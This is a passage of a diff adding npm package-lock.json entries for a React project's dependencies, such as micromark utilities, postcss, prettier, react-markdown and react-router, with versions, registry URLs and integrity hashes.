"sha512-ccUbYk6CwVdkmCQMyr64dXz42EfHGkPQlBj5p7YVGzq8I7CtjXZJrubAYezf7Rp+bjPseiROqe7G6foFd+lEuw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-decode-string": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-decode-string/-/micromark-util-decode-string-2.0.1.tgz", + "integrity": "sha512-nDV/77Fj6eH1ynwscYTOsbK7rR//Uj0bZXBwJZRfaLEJ1iGBR6kIfNmlNqaqJf649EP0F3NWNdeJi03elllNUQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "decode-named-character-reference": "^1.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-decode-numeric-character-reference": "^2.0.0", + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-encode": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-2.0.1.tgz", + "integrity": "sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ] + }, + "node_modules/micromark-util-html-tag-name": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-html-tag-name/-/micromark-util-html-tag-name-2.0.1.tgz", + "integrity": "sha512-2cNEiYDhCWKI+Gs9T0Tiysk136SnR13hhO8yW6BGNyhOC4qYFnwF1nKfD3HFAIXA5c45RrIG1ub11GiXeYd1xA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ] + }, + "node_modules/micromark-util-normalize-identifier": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-normalize-identifier/-/micromark-util-normalize-identifier-2.0.1.tgz", + "integrity": "sha512-sxPqmo70LyARJs0w2UclACPUUEqltCkJ6PhKdMIDuJ3gSf/Q+/GIe3WKl0Ijb/GyH9lOpUkRAO2wp0GVkLvS9Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-resolve-all": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-resolve-all/-/micromark-util-resolve-all-2.0.1.tgz", + "integrity": "sha512-VdQyxFWFT2/FGJgwQnJYbe1jjQoNTS4RjglmSjTUlpUMa95Htx9NHeYW4rGDJzbjvCsl9eLjMQwGeElsqmzcHg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-sanitize-uri": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-2.0.1.tgz", + "integrity": "sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-encode": "^2.0.0", + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-subtokenize": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-subtokenize/-/micromark-util-subtokenize-2.1.0.tgz", + "integrity": "sha512-XQLu552iSctvnEcgXw6+Sx75GflAPNED1qx7eBJ+wydBb2KCbRZe+NwvIEEMM83uml1+2WSXpBAcp9IUCgCYWA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "devlop": "^1.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-symbol": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-symbol/-/micromark-util-symbol-2.0.1.tgz", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ] + }, + "node_modules/micromark-util-types": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-2.0.2.tgz", + "integrity": "sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ] + }, + "node_modules/micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "dev": true, + "license": "MIT", + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, + "node_modules/nanoid": { + "version": "3.3.11", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", + "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "dev": true, + "license": "MIT" + }, + "node_modules/node-releases": { + "version": "2.0.27", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz", + "integrity": "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==", + "dev": true, + "license": "MIT" + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-inspect": { + "version": "1.13.4", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", + "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.assign": { + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.7.tgz", + "integrity": "sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0", + "has-symbols": "^1.1.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.entries": { + "version": "1.1.9", + "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.9.tgz", + "integrity": "sha512-8u/hfXFRBD1O0hPUjioLhoWFHRmt6tKA4/vZPyckBr18l1KE9uHrFaFaUi8MDRTpi4uak2goyPTSNJLXX2k2Hw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.fromentries": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.8.tgz", + "integrity": "sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.2", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.values": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.2.1.tgz", + "integrity": "sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/optionator": { + "version": "0.9.4", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", + "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0", + "word-wrap": "^1.2.5" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/own-keys": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/own-keys/-/own-keys-1.0.1.tgz", + "integrity": "sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==", + "dev": true, + "dependencies": { + "get-intrinsic": "^1.2.6", + "object-keys": "^1.1.1", + "safe-push-apply": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-entities": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-4.0.2.tgz", + "integrity": "sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw==", + "dependencies": { + "@types/unist": "^2.0.0", + "character-entities-legacy": "^3.0.0", + "character-reference-invalid": "^2.0.0", + "decode-named-character-reference": "^1.0.0", + "is-alphanumerical": "^2.0.0", + "is-decimal": "^2.0.0", + "is-hexadecimal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/parse-entities/node_modules/@types/unist": { + "version": "2.0.11", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.11.tgz", + "integrity": "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA==" + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "dev": true, + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/possible-typed-array-names": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz", + "integrity": "sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/postcss": { + "version": "8.5.6", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", + "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.11", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/prettier": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.6.2.tgz", + "integrity": "sha512-I7AIg5boAr5R0FFtJ6rCfD+LFsWHp81dolrFD8S79U9tb8Az2nGrJncnMSnys+bpQJfRUzqs9hnA81OAA3hCuQ==", + "dev": true, + "bin": { + "prettier": "bin/prettier.cjs" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/prettier/prettier?sponsor=1" + } + }, + "node_modules/prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "dev": true, + "dependencies": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "node_modules/prop-types/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", + "dev": true + }, + "node_modules/property-information": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/property-information/-/property-information-7.1.0.tgz", + "integrity": "sha512-TwEZ+X+yCJmYfL7TPUOcvBZ4QfoT5YenQiJuX//0th53DE6w0xxLEtfK3iyryQFddXuvkIk51EEgrJQ0WJkOmQ==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/proxy-from-env": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", + "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==" + }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/react": { + "version": "19.2.0", + "resolved": "https://registry.npmjs.org/react/-/react-19.2.0.tgz", + "integrity": "sha512-tmbWg6W31tQLeB5cdIBOicJDJRR2KzXsV7uSK9iNfLWQ5bIZfxuPEHp7M8wiHyHnn0DD1i7w3Zmin0FtkrwoCQ==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dom": { + "version": "19.2.0", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.0.tgz", + "integrity": "sha512-UlbRu4cAiGaIewkPyiRGJk0imDN2T3JjieT6spoL2UeSf5od4n5LB/mQ4ejmxhCFT1tYe8IvaFulzynWovsEFQ==", + "license": "MIT", + "dependencies": { + "scheduler": "^0.27.0" + }, + "peerDependencies": { + "react": "^19.2.0" + } + }, + "node_modules/react-hook-form": { + "version": "7.66.0", + "resolved": "https://registry.npmjs.org/react-hook-form/-/react-hook-form-7.66.0.tgz", + "integrity": "sha512-xXBqsWGKrY46ZqaHDo+ZUYiMUgi8suYu5kdrS20EG8KiL7VRQitEbNjm+UcrDYrNi1YLyfpmAeGjCZYXLT9YBw==", + "engines": { + "node": ">=18.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/react-hook-form" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17 || ^18 || ^19" + } + }, + "node_modules/react-icons": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/react-icons/-/react-icons-5.5.0.tgz", + "integrity": "sha512-MEFcXdkP3dLo8uumGI5xN3lDFNsRtrjbOEKDLD7yv76v4wpnEq2Lt2qeHaQOr34I/wPN3s3+N08WkQ+CW37Xiw==", + "peerDependencies": { + "react": "*" + } + }, + "node_modules/react-is": { + "version": "19.2.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-19.2.0.tgz", + "integrity": "sha512-x3Ax3kNSMIIkyVYhWPyO09bu0uttcAIoecO/um/rKGQ4EltYWVYtyiGkS/3xMynrbVQdS69Jhlv8FXUEZehlzA==", + "peer": true + }, + "node_modules/react-markdown": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/react-markdown/-/react-markdown-10.1.0.tgz", + "integrity": "sha512-qKxVopLT/TyA6BX3Ue5NwabOsAzm0Q7kAPwq6L+wWDwisYs7R8vZ0nRXqq6rkueboxpkjvLGU9fWifiX/ZZFxQ==", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "devlop": "^1.0.0", + "hast-util-to-jsx-runtime": "^2.0.0", + "html-url-attributes": "^3.0.0", + "mdast-util-to-hast": "^13.0.0", + "remark-parse": "^11.0.0", + "remark-rehype": "^11.0.0", + "unified": "^11.0.0", + "unist-util-visit": "^5.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + }, + "peerDependencies": { + "@types/react": ">=18", + "react": ">=18" + } + }, + "node_modules/react-redux": { + "version": "9.2.0", + "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-9.2.0.tgz", + "integrity": "sha512-ROY9fvHhwOD9ySfrF0wmvu//bKCQ6AeZZq1nJNtbDC+kk5DuSuNX/n6YWYF/SYy7bSba4D4FSz8DJeKY/S/r+g==", + "dependencies": { + "@types/use-sync-external-store": "^0.0.6", + "use-sync-external-store": "^1.4.0" + }, + "peerDependencies": { + "@types/react": "^18.2.25 || ^19", + "react": "^18.0 || ^19", + "redux": "^5.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "redux": { + "optional": true + } + } + }, + "node_modules/react-refresh": { + "version": "0.18.0", + "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.18.0.tgz", + "integrity": "sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-remove-scroll": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/react-remove-scroll/-/react-remove-scroll-2.7.1.tgz", + "integrity": "sha512-HpMh8+oahmIdOuS5aFKKY6Pyog+FNaZV/XyJOq7b4YFwsFHe5yYfdbIalI4k3vU2nSDql7YskmUseHsRrJqIPA==", + "dependencies": { + "react-remove-scroll-bar": "^2.3.7", + "react-style-singleton": "^2.2.3", + "tslib": "^2.1.0", + "use-callback-ref": "^1.3.3", + "use-sidecar": "^1.1.3" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/react-remove-scroll-bar": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/react-remove-scroll-bar/-/react-remove-scroll-bar-2.3.8.tgz", + "integrity": "sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q==", + "dependencies": { + "react-style-singleton": "^2.2.2", + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/react-router": { + "version": "7.9.5", + "resolved": "https://registry.npmjs.org/react-router/-/react-router-7.9.5.tgz", + "integrity": "sha512-JmxqrnBZ6E9hWmf02jzNn9Jm3UqyeimyiwzD69NjxGySG6lIz/1LVPsoTCwN7NBX2XjCEa1LIX5EMz1j2b6u6A==", + "dependencies": { + "cookie": "^1.0.1", + "set-cookie-parser": "^2.6.0" + }, + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": ">=18", + "react-dom": ">=18" + }, + "peerDependenciesMeta": { + "react-dom": { + "optional": true + } + } + }, + "node_modules/react-router-dom": { + "version": "7.9.5", + "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-7.9.5.tgz", + "integrity": "sha512-mkEmq/K8tKN63Ae2M7Xgz3c9l9YNbY+NHH6NNeUmLA3kDkhKXRsNb/ZpxaEunvGo2/3YXdk5EJU3Hxp3ocaBPw==", + "dependencies": { + "react-router": "7.9.5" + }, + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": ">=18", + "react-dom": ">=18" + } + }, + "node_modules/react-style-singleton": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/react-style-singleton/-/react-style-singleton-2.2.3.tgz", + "integrity": "sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ==", + "dependencies": { + "get-nonce": "^1.0.0", + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "*", + "react": 